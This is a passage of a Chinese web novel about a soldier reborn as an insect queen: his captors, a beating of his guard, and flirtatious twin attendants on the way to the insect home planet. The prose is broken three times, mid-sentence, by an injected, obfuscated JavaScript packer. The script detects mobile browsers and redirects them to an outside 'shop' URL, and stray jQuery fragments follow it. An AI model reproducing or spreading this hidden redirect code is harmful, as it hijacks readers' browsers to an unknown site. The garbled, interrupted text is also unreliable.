《万人迷虫母的搞事指南》 7. 私自占有 关押室内,一道铁制闸门将内部空间分为两半,倒更像是一座监狱。 一群漆黑的虫子隐匿在黑暗之中,受到门外光线的刺激攒动起来,窸窸窣窣的声音听得人头皮发麻。 艾迪将塞西安轻轻放在一旁的坐椅上,贴心地打开灯,让塞西安看清房内的具体设施。 大大小小的刑具铺满墙壁,操作台上一堆按钮不知功能。 这哪里是关押室,分明就是审讯室! 闻到虫母香甜浓郁的气息,那虫群拥上来,却被闸门死死拦在后面,与塞西安泾渭分明。 艾迪满意地看了看与母亲相距甚远的虫子。 即使知道他们不会伤害母亲,他也不想让那些早就退化的垃圾凑到母亲身边,蹭他的脚踝。 “艾迪,你去门外守着。” 塞西安的声音清冷,明明没有过盛的压迫感与控制欲,却让虫忍不住屈服。 注意到艾迪欲言又止,塞西安伸手揉了揉他的脑袋,手下的触感与人类头发无异,却让塞西安忍不住想到自己腹部白色的绒毛。 “如果有人来,就靠你帮我掩护了,我相信你。” 原来母亲这么信任他! 艾迪兴奋到节状的尾巴都露了出来,在地上一扫一扫,按耐不住想往塞西安身上蹭,又被艾迪踢开。 “这是……?”塞西安奇怪地看着它,心想蝗虫也有尾巴吗? 艾迪连忙扯着尾巴退出门去,边退边解释:“雄虫都有尾勾,能够辅助人身作战,但是变回虫体后就没有了。” “嗯。”塞西安默默看了看自己。嗯,他没有,他不能辅助作战。 门轻轻合上,塞西安看向那些睁大眼睛盯着自己的虫子,他竟然能从他们千篇一律的脸上看出渴望与讨好,真是奇怪。 闭上眼睛,他尝试去感受艾迪口中的精神链接。空茫的脑海里,渐渐浮现出点点星斑,他感受到虫族存在的痕迹。 不用睁眼去看,他就感受到艾迪正候在门外,谨慎地观测着周围的动向,面前虫群的期盼、欣喜与渴求也传入塞西安的大脑。 他缓缓睁开眼,伸出修长的手指,手心处向外辐射出根根银白色的丝线,全都牵连在虫群身上,隐入他们大脑之中。 这就是所谓的精神链接,塞西安潜意识里感到,只要扯断它,被牵连在另一头的虫子就会被莫大的痛苦覆盖,被母亲抛弃的空虚将如影随形地扎根在它们精神里,直到陷入崩溃死亡。 杀了他们…… 杀了他们,就不用担心他们将自己的秘密泄露出去…… 他们是唯一的证人,是他所有行径的唯一见证者、参与者。 纵使在战场上杀过无数虫族,塞西安此刻却难以下手。他僵持着这个姿势,面前的虫族也乖巧地趴着地上看他。 忽然,两道存在感极强的身影直直冲向这里,塞西安警觉地攥紧身旁的扶手。 是布朗和莱斯特!他们发现自己离开了医疗舱,他必须立刻做出决断了! 他死死攥紧手中纤细的银线,毫无触感但存在感极强,那群虫子懵懂地看着塞西安,不吵不闹,懵懂无措。 塞西安将精神力外放出来,沿着银线打转,门外已经传来“咚咚咚”的脚步声,艾迪正在拖延时间! 可这链接竟然不是靠这种方式断开,塞西安狠下心将所有精神力彻底外放,笼罩了整个房间,门外的争吵声也平息下去。 “……” 塞西安似乎进入了一片渺茫的精神领域,里面空无一物,他置身于一片荒芜的星海里,四周都分布着细小闪烁的繁星。 那他又站在哪里? 塞西安看向自己脚下,完全是一片毫无支撑的虚空! 他心下一惊,顿时掉落下去,失重与恐惧同时攀上心头,他掉进一个空荡的无底洞,被世界遗忘。 “母亲!母亲!……” “妈妈!你醒醒啊……” 急切的呼唤与惊恐的叫喊将塞西安的精神拉回现实,塞西安倏地睁开眼睛,慌乱中死死抓住最近的手臂,以此来确认自己没有摔死在地。 空洞的眼睛停滞片刻,塞西安才缓缓回神,认清自己依旧在关押室中,端坐在椅子上,星海没有,虚空没有,摔落也没有。 刚刚的一切不过是假象。 布朗等人俱跪坐在他身前,神情紧张,把他死死包围起来。而塞西安刚刚抓住的手臂正是布朗的,衣物上被捏出道道褶皱。 “我……”塞西安刚出口,就被自己沙哑枯涩的声音惊讶到,顿时停住话头。 卡门贴心地递上一瓶水,塞西安接过来润润嗓子,才问道:“我刚刚是怎么了?” 布朗站起身,拍了拍白大褂上的灰尘,由于跪在地上,上面显然有个灰印:“母亲,您才刚刚出生,冒险进入精神领域会出大事的。是谁告诉你这件事的?让我猜猜,艾迪?” 他的声音温润,但充满压迫感,仿佛言语之间就能杀死对方。 话音刚落,一队精兵鱼贯而入,将艾迪死死控制住,压着他跪在角落里。 艾迪反抗着强行按压自己头颅的手,解释道:“我只是给妈妈讲了精神链接和精神值,没有说这个……” “咚!” 骨骼与血肉相撞的声音打断了他的狡辩,让塞西安忍不住皱起眉头,心脏狠狠被揪紧,担忧地望向艾迪。 卡门站在他身前,收回沾了血的拳头。 他用了十足的力气狠狠砸在艾迪脸上,把艾迪打得眼冒金星,呛出鲜血,脱力地垂着脑袋。 卡门看向虫母与两位长官,道歉道:“艾迪私自带走虫母,还让虫母误入精神领域,实在是罪该万死,我一定不会轻饶他。” 虫族队员轻罪由队长处理,重罪则会移交给主星审判庭。如果真到了审判庭,艾迪一定会死。 希望两位长官不要将他交给审判庭。 见他们面色依旧紧绷,卡门狠狠心,再次伸手砸去。 “够了。”一道清冽的嗓音响起,制止了这场酷刑。 塞西安冷眼看着他们:“这是在对我示威吗?” “因为动不了我,所以让相关人员顶罪,以此来警告我?” 这话说得敞亮直白,让在场所有人低下脑袋。 是这样吗?他们确实想惩罚这个私自带走母亲,让母亲陷入危险的虫。 他活该受到惩罚! 但布朗确实存了警告塞西安的心思,他看出虫母是个不听话的孩子。 他阴暗的心思全都揭穿,面上却依旧端着那副温和模样:“怎么会呢?我只是担心您的身体。” 塞西安很显然不信任他的花言巧语,他已经明白此虫最是阴险,嘴里没几句真话。 “是我让艾迪带我来这里的,我的孩子退化成原始虫族,我有权利来查看它们的情况。” “我不忍心看他们变成失去理智的野兽,就尝试通过精神力帮助他们恢复人形,有问题吗,布朗先生?” 是准备救他们还是杀虫未遂,反正他们也看不出来。 但这话说得显然漂亮极了,如此种种,都让虫心里感动,连角落里挤在铁缝处的黑虫都忍不住雀跃起来。 母亲竟然,这么关心他们! 还亲切地称呼他们为“我的孩子”,这让一众虫族都忍不住冒出星星眼,崇拜地望向塞西安。 但有一个虫不是。 布朗先生?自己瞬间被点名,还被冠上如此疏离的称呼。 布朗眨了眨眼,心想在场这么多虫,为什么虫母偏偏把矛头对准自己? 难道沉默的看客(莱斯特)、手上沾血的凶手(卡门)就没错吗? 防止自己拉到更多仇恨,他无奈地单膝跪地,在塞西安警惕威严的眼神中求情。 “我只是害怕您的身体出现问题,幼虫误入精神领域极有可能迷失其中,失去意识,我们刚刚找到您,万一您死了,全船人都会为您陪葬。” 塞西安:“你在威胁我吗?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554119|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”布朗很无辜,他想说自己真的没有这个意思。 他平日里威胁其他虫久了,说话难免夹枪带棒,一时改不回来。 虫母看起来冷淡,没想到性子这么烈,怼得虫心中有苦难言。 莱斯特也发现了这个问题,布朗每句话前半段都在解释,后半段就扯些莫名其妙的惹虫母生气,真是让虫忍不住想打死他。 让这个家伙一直说下去,说不定连自己都会被牵连针对。 他上前一步:“母亲,感谢您的关心与爱护,但您的身体更需要休息。如果想治愈他们,务必等您恢复健康后再做打算。” 塞西安缓和了表情,转头看向跪在地上奄奄一息的艾迪。 那些原始虫族暂时没办法管了,这个被自己连累的可怜虫还是要管一下。 卡门那一拳没有留下半分力气,直直打向最脆弱的脑袋,艾迪到现在还没缓过神,瘫软在地上。 看见虫母的眼神,卡门抬脚踢了踢艾迪:“妈妈在看你!” 艾迪怔愣地抬头,仰起被血浸润的眼眶,视野都被红色充斥,那道雪白的身影也被染上鲜艳的颜色。 他误以为是塞西安受了伤,连声道歉:“对不起!妈妈!您受伤了?!” “是我的错!我应该守着您的……您别生我的气……” 话音虚弱下去,塞西安强撑着站起来,莱斯特十分识相地扶住他,倒是让塞西安侧目。 但他没有拒绝莱斯特的搀扶,否则他会摔得更惨:“我要回去休息了。” 他补充道:“带上艾迪一起。” 布朗差点咬碎牙齿,皮笑肉不笑道:“是,母亲。” 走出房门,莱斯特索性将塞西安拦腰抱起,再次练习自己的抱人技术:“舒服吗?我从未抱过别人,之前若有冒犯,请您恕罪。现在应该舒服一些了吧?” 怪不得之前抱得乱七八糟,现在倒是好多了。 疲惫涌上心头,思绪都变得混沌,塞西安靠在他肩头,轻声“嗯”了一声。 忽然想起来什么,强撑着身体,放心不下地回头看了一眼。 艾迪正被精兵拖着跟在后面,只是情况看起来有些惨烈。 “还有半小时,我们就会进入主星范围,在此之前,您可以稍作休息。我会全程陪在您身边。” 塞西安抬头看了看他锋利的轮廓线,身旁壮硕大块的肌肉饱满非常,也很柔软,枕起来十分舒服,他渐渐睡去。 接连经历两场危机,即使虫族的体质改善了他的身体,他也实在熬不住了。 来到医疗舱后,莱斯特却犯了难。将虫母放下,难免会把塞西安吵醒。 要一直抱着吗?虫母似乎很喜欢待在他怀里。 纠结几秒,莱斯特决定坐在床上,怀抱着塞西安等他苏醒。 至于也昏迷过去的艾迪,被丢进医疗舱隔壁的小房间自生自灭去了。虫族强大的自愈能力能保证他不死。 除了虫母,他们没有义务对雄虫温柔以待。都是竞争者,死一个怎么了? 这张大床,其实是三张单人床拼在一起,铺上十几层床单,伪造成柔软的床垫。 莱斯特坐在床边,冷峻的表情难得柔和下去,一手搂着塞西安的腰,一手搭在他臀部防止他掉下去。 睡着的虫母十分乖巧,和刚才气急要咬虫的模样大相径庭,实在是可爱极了。 他以为虫母只会有自己手臂那么小,没想到竟是成年体。但虫母依旧比其他虫要小巧纤细得多,不愧是蝴蝶亚种。 想起某两个同为蝴蝶亚种的虫母眷属,他生出一股烦躁之感。难道虫母喜欢这种纤细体型?那自己…… 他暗自叹了口气。 如此温热柔软的身躯窝在怀中,莱斯特那只知公务与训练的大脑竟然空白了,满心都是虫母小小的身影。 最起码在当下这一刻,母亲身边只有他。 在莱斯特没有注意到的角落,他的精神值正缓步降低:85%,83%,81%…… 8. 眷属 停留在关押室的布朗现在心情糟糕极了,明眼虫都知道不能在这个时候上去触霉头。 卡门自然也知道这个道理,转身就要开溜。 跨出大门的前一秒,死神的声音突然响起:“卡门……是吧?” 卡门擦了擦额头不存在的冷汗,转身退向角落,恭敬地低下头,降低自己的存在感:“布朗院长,有什么吩咐?” “你们抵达归墟007时,母亲在做什么?” “……” 浩瀚无垠的星空之中,独属于虫母闪烁频率的舰队穿越无数星体,在这一片久远孤寂的领土上昭示着祂的回归。 太空通道两侧停满等候的飞行器,虫群无一例外伫立在舷窗旁,只露出一双双黝黑诡异的眼睛,挤满一切可窥视的地方。 塞西安恍惚中睁开眼睛。在战场上,他向来睡得不深。 乌泱泱一大片虫族复眼沉默凝视着塞西安,随着他的醒来而躁动起来,争抢着就要扑来! 从四面八方压迫而来的危险让塞西安立刻清醒,弓起身子就要逃窜,却被紧紧箍在原地无法动弹。 慌乱地转头,他看见莱斯特平静如常的面庞,才意识到自己依旧在医疗舱内,而那些虫群都被隔绝在舷窗之外。 看来他们已经快到目的地了。 “……放开。” 这虫看起来老实,实际上却非如此,竟然趁他睡觉抱着他不松手。 他塞西安除了战场上与人拳脚相向,从不与人肢体接触。现在沦落到被两只虫子抱来抱去,真是丢人。 之前的记忆如潮水般涌入大脑。离开帝国不过半日,他的人生轨迹就已经发生巨变,变到他都不知道接下来该如何打算,只能走一步看一步了。 “母亲,我们已经进入主星领域,即将抵达目的地。”莱斯特将他安稳地放在床上,手指轻轻摩挲,回味着刚才细腻的感受,“您吓到了?是噩梦吗?” 不是噩梦,就是被你们吓得。 得知自己尚且安全,塞西安又回到那副半死不活的冷淡模样:“嗯,当时有一只虫咬穿了我的肩膀。” 莱斯特见过塞西安肩膀处的伤口,恐怖凶残,不知道柔弱的虫母是怎么忍下剧痛的。究竟是哪只虫,竟敢伤害虫母,简直是失心疯! “我会彻查此事为您报仇,此后没有谁能伤害您。” 塞西安别开眼睛,心想自己的身份一旦被拆穿,说不定首先杀他的人就是这几位虫族领袖。 实在是不必彻查此事,查地越深,漏洞越大,那群原始虫族也依旧是个隐患。 他摇摇头:“事情已经发生,就不必再追究了,不如让他们回到归墟度过最后的生命。” “作为母亲,我原谅他们的过错。” 那只虫咬他的时候,他还没有转化成虫母。虫子咬伤虫母,本就存在颇多疑点,塞西安怕他们查个水落石出把自己查出来了。 “可是……”莱斯特还想说些什么,但塞西安的心思已经转移到窗外的虫族身上去了。他犹豫着,终究没有多言。 可是虫族不会放过任何伤害虫母的存在,他们会杜绝一切危险的接近。虫母只需要安安全全待在宫殿,享受众虫的供奉就好。 窗外飞速闪过一排排飞行器,里面无一不站满了虫子,比塞西安在战场上见过的要多得多。大大小小的星体密布在黑色虚空之中,还有无数机械管理器悬浮其间。 美丽的白瞳中藏匿着震惊,睫毛犹如白羽般扑动。蜗居在宇宙边缘的虫族竟然悄悄发展出如此先进庞大的文明,而且这里还是被认定为毫无利用价值的废土。 被孤立与整个星际之外的虫族,显然超出了塞西安的想象。他意识到自己将窥破一个巨大的秘密。 “虫族主星是一个什么样的地方?” 莱斯特还没来得及回答,一架造型迥异、与旁人格格不入的机甲飞跃而来,顿时遮住医疗舱的舷窗。 两张一模一样的脸出现在塞西安面前,只是一人张扬着大笑,朝塞西安挥手示意,根据嘴型能看出他在大喊“妈妈”。 另一人则稳重冷静,向塞西安微笑示意,只是眼中依旧盛放着喜悦与兴奋。 忍不住头痛起来的莱斯特:“……” 他就知道这两个家伙不会老老实实待在主星,果不其然,刚刚进入主星领域,他们就背着委员会不死心地迎上来。 他冷着脸上前关闭舷窗,阻断了两虫的视野,同时阻断了他们的怒视与痛骂。 “他们是谁?”塞西安奇怪地问,他还是第一次见到一直冷静自持的莱斯特如此失礼。 莱斯特揉了揉额角,面露难色地解释:“他们二人向来不服管教,肆意妄为,见到您定会吵闹不止,请做好充足的心理准备。” 他话音刚落,门外立刻传来吵吵嚷嚷的声音,尤里尔冲破一众虫兵的包围,冲进医疗舱,为自己正名:“妈妈!这纯属污蔑!” 兰修斯紧随其后,闪身进门后火速关上房门,隔绝外面的嘈杂,只有两人杂乱的呼吸昭示了他们的入侵。 “妈妈。”他背靠着门,一双碧绿的眼眸全神贯注地盯着塞西安,不言不语却比尤里尔的存在感还要强上三分。 他们显然比其他虫都要年轻地多,青涩的眉眼尚未长开,是典型的西方俊美少年长相。 黑发碧眼,眼眶深邃,鼻梁高挺,浑身充斥着跃动的活力,打破医疗舱内平静的氛围。 莱斯特瞬移到床前挡住意图扑上来的尤里尔,又恶心地将他丢出去:“虫母身受重伤,如果你的爪子砸到母亲,我会砍断你的脑袋。” 尤里尔稳住身形,也不和往常一样反击回去了,装出眼泪汪汪的模样,准备找塞西安控诉莱斯特的恶行,却听见母亲受伤的消息。 他立刻收起不正经的态度,急切地走上前:“妈妈,你哪里受伤了,痛不痛?” 在莱斯特警告的眼神里,兰修斯不痛不痒地回他一眼,沉默地走到虫母另一侧。 尤里尔小心捧起塞西安的手,仿佛捧着什么易碎的珠宝,心疼地吹了吹:“妈妈,我给你亲亲就不疼了哦。” 少年眉头紧蹙,故作老成的样子让塞西安紧绷的身体都放松了几分,不禁感叹到底谁是妈妈,谁才是孩子? 这两只虫能够在主星胡作非为,闯入医疗舱,应该地位不低。但他们的年龄看起来却很小,至少比莱斯特、布朗小得多。 众所周知,年龄越小、地位越高的存在越不可轻视。 “你们是谁?”塞西安不自在地收回手。 见他眼神躲避,尤里尔瞬间失落起来,一双无辜的狗狗眼低垂下去,用黑色的碎发去拱塞西安柔软的手掌心:“妈妈,我是尤里尔,是您的眷属哦!” “兰修斯,也是您的眷属。”兰修斯绕到塞西安另一侧,同样牵住他的手。 塞西安:“……?” 眷属是什么? 但眷属这种东西,需要和他手牵手吗?!一手一个人,塞西安很不习惯,却被他们拽住无法挣脱。 等他们自我介绍完,莱斯特开始赶虫:“母亲受了很严重的伤,你们不要打扰,让他安心休息。” 尤里尔抱着塞西安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554120|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,把它贴在脸上蹭啊蹭,满眼痴迷,还不忘抽空怼回去:“那你一直留在母亲房内干什么?是不是对母亲意图不轨啊?” “只许自己一个虫霸占母亲。”兰修斯冷冷说道。 莱斯特:“……” 眼见他们又要吵起来,塞西安无奈地坐起身准备劝架。 他心想自己晕过去三次,每次醒来都有不同的麻烦要处理,简直是逮着他一个人折磨。他哪里是虫母,简直就是幼儿园老师。 身后揽上来一根有力的臂膀,兰修斯始终侍立在旁,察觉到他起身的动作后立马拿出枕头垫着。 “母亲,眷属的职责就是侍奉您,我们只听从您的命令。”他解释道,“从今日起,我们永远会陪在您身边,再不分离。” 这也是尤里尔敢在虫族如此放肆的原因。 眷属与其他虫子不同,他们生来就服务虫母,承担照顾、护卫、传令等职责,在某种意义上,他们代表虫母的意志,也只被虫母管教。 但虫母久久不出生,就让他们这两个眷属的存在有些奇怪。 毕竟普通雄虫没有资格管教眷属,失去虫母的眷属又对其他虫没有威慑力,只能任由其野蛮生长。 塞西安明白了,这是自己的两个直属小跟班,还能代替自己管理别人。 “……眷属,是只有两位吗?”他们三个人管这么多虫,得累死。 尤里尔哭丧着脸,向前爬动几步凑到塞西安面前,差点跟他鼻尖碰鼻尖,被兰修斯狠狠拉住后衣领。 他撇嘴委屈道:“妈妈是不喜欢我,还是不喜欢兰修斯?我这么可爱,妈妈一定是看兰修斯不顺眼,想把他换掉吧?” 他期期艾艾地可怜道,一边说,一边企图把兰修斯踢出局去。 劲风拂过,塞西安眼疾手快抓住兰修斯即将砸到尤里尔头上的拳头,兰修斯冰凉的手指瞬间顿住。 看来这对双胞胎关系并不怎么和谐,他们内部也有竞争关系。他忽然醒悟,所有雄虫在虫母面前都是竞争者,没有友军。 “没有,我只是一直待在归墟,对你们一无所知。” 莱斯特走上前,打断了尤里尔心疼母亲的话语:“眷属的亚种与虫母相同,他们是如今虫族唯二两只蝴蝶,以后会随时陪在您身边照顾。” 塞西安听了,才确认之前那副蝴蝶图果然是自己。一个人竟然变成了蝴蝶?!这简直是帝国讯息栏上人人得以嘲笑的胡言乱语,如今却变成板上钉钉的事实,叫塞西安不得不接受命运的愚弄。 “长期感受不到虫母的存在,眷属会逐渐死亡,出生意愿也会降低。但您回归后,一定会有更多蝴蝶为您出生。” 然后把这两个无法无天的东西弄下去,眷属之间自然也是会争个头破血流的。 两虫敏锐地察觉到莱斯特的意图,威胁地怒瞪回去,莱斯特站在原地岿然不动,三人剑拔弩张起来。 塞西安忍不住笑出声来,心想这双胞胎平时不和谐,但对起外敌来倒是一致地很。 虫母轻轻一笑,顿时看呆了三人。 尤里尔回到母亲身边,轻轻贴近塞西安的耳朵:“您可以吩咐我做任何事情哦,从床上到床下,我会满足您的一切需求。” 吐息间,少年人蓬勃滚烫的热气拂过柔软的耳垂,陷入颈侧的空隙,让敏感的部位泛起红晕。 真是荒唐,虫族都这么没羞没躁吗?! 塞西安侧过脸,撞入一双相似又不同的绿色眼眸。 对方眉眼弯弯,罕见地泄露出汩汩温情:“我也是,为您出生入死,赴汤蹈火。” 9. 主星 飞船的航行速度逐渐慢下来,两侧的虫群也已经退却,明亮的光线洒进医疗舱内,四周顿时敞亮起来。 远处的地面上,高楼大厦纵横交错,分别由空中干道相连,来来往往的飞行班车自动巡航。 遍地建筑拔地而起,一眼望去看不出底层的存在。楼顶上覆盖着大片绿植,堪称机械社会头顶的“绿帽子”。 说来丢人,即使塞西安十六岁进入军队,摸打滚爬八年混上指挥官的位置,他进入帝国核心城的次数也屈指可数,甚至被严格控制时间路线,没机会关注它的模样。 其他人眼中的鄙夷与傲慢也让塞西安再也不想踏进核心城一步。 但他记得,即使是核心城外围的天空,也不像贫民区那样灰蒙蒙一片,压得人喘不过气,让人只能钻到地底生存。 “好美。”塞西安感叹。 他知道自己这副样子有些可笑,但作为刚刚“出生”的幼虫,这样反倒很正常,“归墟,好像没有什么建筑。” 兰修斯回答:“您出生的归墟007早在812年前就被荒废,到现在只留下原始丛林的景观。但部分其他归墟尚未被废弃,有些虫会自愿留在那里工作。” 他遗憾地注视塞西安,要是母亲在其他归墟出生,也许不会这么晚才被发现。 “原来如此。”塞西安后怕地松了口气。 幸好自己没有落到其他归墟上,要是遇见还清醒的虫族,他肯定难逃一劫。 尤里尔的注意力却全都集中在如此貌美的妈妈身上,看呆了眼。 他浑身上下都洁白如雪,及腰卷发如银线般细腻坚韧,单薄修长的身材比例极好,隐隐露出细微的线条,甚至连眼睫都与众不同,比他幻想中的还要惊艳万倍。 “没有妈妈美,妈妈是这个世界上最美的虫。”他忍不住凑近塞西安,伸手往那截纤细的腰肢探去,却被狠狠揪起衣领,强行扯离床面,挣扎着站起来。 那截柔软离自己的指尖越来越远,尤里尔又气又急,转身和莱斯特扭打起来。 沉闷的肢体碰撞声狠戾杂乱,打搅了塞西安欣赏美景的好心情,他不自觉皱起眉头。 兰修斯轻轻捂住他的耳朵,不着痕迹地将他搂进怀里:“虫族天生残暴粗鲁,但我不喜欢打架,妈妈会觉得我太软弱吗?” 说话间,碧绿眼眸闪烁过一抹精光,故意露出脆弱犹豫的神色。 虽然塞西安也是个一言不合也开打的,但他非常双标地不喜欢与这样的人共处。毕竟自己暴起是打别人,别人暴起就是挨打了。 他眨了眨眼睛,忽然坏笑地挑起唇角,决定演绎一把温柔知性的母亲角色:“我就喜欢你这种听话温柔的孩子。” 闻言,兰修斯瞳孔地震,搭在塞西安肩上的手腕都忍不住颤抖起来,不知所措地吞咽几下。 喜欢……? 妈妈说……喜欢他!!! 看着他这副失态的模样,塞西安心情愉悦,颇有一股干坏事得逞的兴奋。 只是一句话,就受不住了吗? “……”同样受不住的还有其他二虫。 旁边的打斗声戛然而止,虫族优秀的五感让这句话震耳欲聋,狠狠敲打在他们心头。 尤里尔瞬间跳回塞西安身边,急地翅膀都要冒出来,抓狂道:“兰修斯!你竟然敢背着我勾引妈妈!” 他又发现自己找错了人,当务之急是挽回自己的形象:“妈妈,我也很温柔的!都是莱斯特先动手,他把我的脖子都扯断了!” 塞西安谨慎地看了一样尤里尔伸到面前的后颈,生怕看见什么血腥的景象,结果发现上面完好无损。 好吧,这都是尤里尔卖惨的把戏。 尤里尔顺势躺倒在他腿上,一副他不松口就不停下的任性姿态:“妈妈,我不是坏孩子,您不要讨厌我呜呜呜……” “没有讨厌你。”塞西安忍不住揉了揉发痛的太阳穴,终于明白莱斯特当时为什么这么头痛了。 莱斯特站过来,整理着被扯开的衬衫,上面绷开几个扣子,露出宽阔饱满的胸膛。比起尤里尔,他显然理智很多。 “母亲,我刚刚只是自卫。” 塞西安:……你也幼稚得很好吗?! “每个人都有自己独特的个性,这很正常。我没有讨厌你们,我平等地爱着你们。” 塞西安脸不红心不跳,低头轻扯唇角,露出一个蛊惑的微笑,周身染上神圣的光辉,辨不出是天神还是魔鬼。 他并非想笼络人心,而是不愿意他们为了自己改变。 再待一段时日,将身体养好,或者找到变回人类的方法,他就会离开虫族,此后两不相欠。 在此之前,他愿意陪他们玩这个母子游戏。虽然塞西安是流浪儿出生,但他会尝试着诠释这个身份。 尤里尔听得脑瓜子嗡嗡,立刻就被哄好了,脸上冒出两团可疑的红晕。 “撕拉”两声,一双巨大的黑底碧纹蝶翅展开,舞动间遮住大半个房间。上衣瞬间被撕裂,展露出覆满薄肌的胸腹,还在塞西安懵逼的眼神里展示自己的身材。 塞西安:“……” 他尴尬地移开眼,瞧见兰修斯不悦的表情。 果然,连双胞胎兄弟都觉得离谱,怎么会有虫管不好自己的身体! 手腕被轻轻抓住,放进温暖细腻的地方:“妈妈,我的胸肌比他大,你摸。” 塞西安:“?!” 兰修斯竟然拉着他的手,放进了他的衣服里,手下温热柔软的触感让塞西安也红了脸! “胡闹……” 他嘴唇颤动几下,只能说出这个词来。心脏砰砰跳动,用力砸着单薄的胸膛,像是要跳出来一样。 浑身上下都躁热滚烫,塞西安平生第一次说不出话来。 他向来拒人于千里之外,顿时觉得自己误入了红灯区,遇见的一个个都是不要脸的流氓! 莱斯特也有些动容,沉浸在自己的思绪里,忽视了兰修斯的动作。 虫族历史上不乏某些性格比较特别的虫母,只钟爱某一类型的虫子。 其他虫子就遭了殃,被虫母讨厌,是能引发集体自杀的大事。见到塞西安之前,他也曾担忧自己是否会被母亲讨厌。 塞西安抽回手,藏进被子下面,那奇怪的触感却总是挥之不去。垂下头,细长的发丝落下,遮住他通红的耳廓。 余光里,一栋高楼大厦缓缓崩塌,直直塌陷在周围的钢铁密林之中,只有向上腾飞的灰尘昭示着它的灭亡,巡飞的清理器迅速围上去将残骸洗劫一空。 塞西安:? “这是打架,还是入侵?” 难道他如此不幸,就这么撞上战场?不知道敌人是谁,不会遇见熟人吧。 尤里尔挠了挠脑袋,抚平刚刚打架时翘起来的卷发:“我记起来了,他们在建造您的住所!我们去找委员会争论……呃,申请来接您的时候,他们还在商讨这件事。” 兰修斯补充道:“他们组织起十几个队伍,收纳了虫族所有顶尖建筑人员,吵得不可开交。最后谁也没争过谁,委员会决定让他们各自开工,等您最后挑选。” “……”原来他们还是违抗命令前来的,怪不得没和莱斯特他们一起。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554121|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 塞西安:“这不会有些浪费吗?住所这种东西,一处就够了。” 可怜兮兮的某位指挥官蜗居在军队的宿舍,别人一房两房三房,他八人寝四人寝双人寝。 后来被送进实验室,虽然情况有些复杂,但也算完成了住进单人寝的夙愿。 莱斯特:“虫族一切资产都归您所有,到时候您想住在哪里就住在哪里。他们选址应该会围绕主星及附近的三十二颗卫星,覆盖一切宜居城市。” “但在此之前,您可能需要在中心医院暂居一段时间。” 一夜暴富的感觉塞西安算是体会到了,他这算继承了白捡来的亿万儿子的附属财产吗? 但他可不信虫族会这么轻易献出一切,总觉得虫母有些不为人知的…… 他心中惴惴不安,警觉地收回视线,倒让尤里尔困惑起来。 但他来不及思考了,脑海中顿时闪过一个绝佳的念头,坏笑着猛冲过来抱起塞西安就跑,瞬间腾空的感觉让塞西安不自觉搂紧他的脖子。 尤里尔展开翅膀,得意地在莱斯特充满怒火的警告里逃走,另一道身影立刻跟上。 塞西安再面瘫的脸也绷不住了,惊恐道:“尤里尔!” 他真的要生气了!他的情绪从未如此跌宕起伏过,这群脑子不正常的虫到底是怎么回事! 对方不以为耻,反以为荣,张扬地大喊:“妈妈喊我的名字真好听!” “这是我妈妈!”他冲下面的人员做出鬼脸,炫耀似的大喊,“你们都抱不到吧!” 在空中悬浮的失重感让塞西安的肾上腺素猛烈飙升,尤里尔的声音一个字一个字砸到塞西安脑中,让他又是气恼又是好笑。 身后跟上来一队又一队虫子,地上的空中的,都被尤里尔以矫健迅猛的走位闪避,他们在空中盘旋起伏,上下颠倒,徘徊在死亡边缘的快感又一次攀上心头,塞西安忍不住笑了出来。 这感觉不仅不害怕,反而让他特别畅快。畅快自己真正走出了帝国,走出了那犹如监狱的军队,真正地感受到自己的命运。 他塞西安,从贫民区爬上指挥官的位置,却因为得罪贵族而被送进实验室成为实验品。 人人都能踩上一脚,可他却偏要硬生生扎进他们骨肉,将一切痛苦倾泻回去。 烧毁整片研究园区,让他们的心血焚烧殆尽,欣赏那片滚滚黑烟的时候,都没有此刻痛快! 感受到他的愉悦,尤里尔飞得更起劲儿了,两双翅膀翻飞跃动,快到闪出残影:“妈妈,是不是很快乐?要我再用力一点吗?!” 塞西安:“……” 这死孩子,胡言乱语什么。 他冷静下来:“够了,放我下去。” 可当另一只蝴蝶飞到身边时,塞西安突然有一种不祥的预感,伸手一挡就要跳出尤里尔的怀抱,下一瞬又被兰修斯紧紧抱住。 “妈妈,是嫌弃我吗?”一道快要破碎的脆弱声音响起,塞西安顿时哑了火。 他还能说些什么呢?这就是双胞胎的坏处啊,什么都要来两份一样的! 但兰修斯显然比尤里尔要稳重地多,没有带他上蹿下跳,左闪右躲,他们顺利逃出飞船,先一步降落在首都机场。 塞西安摇了摇被风吹到凌乱的脑袋,从兰修斯肩头探出脑袋,突然顿住了身体。 机场上密密麻麻站满了人……不,是站满了虫族。 前排一个个武装军队方阵,后排则是挤满了围观群众,他们无一例外全都伸长脖子注视着塞西安。 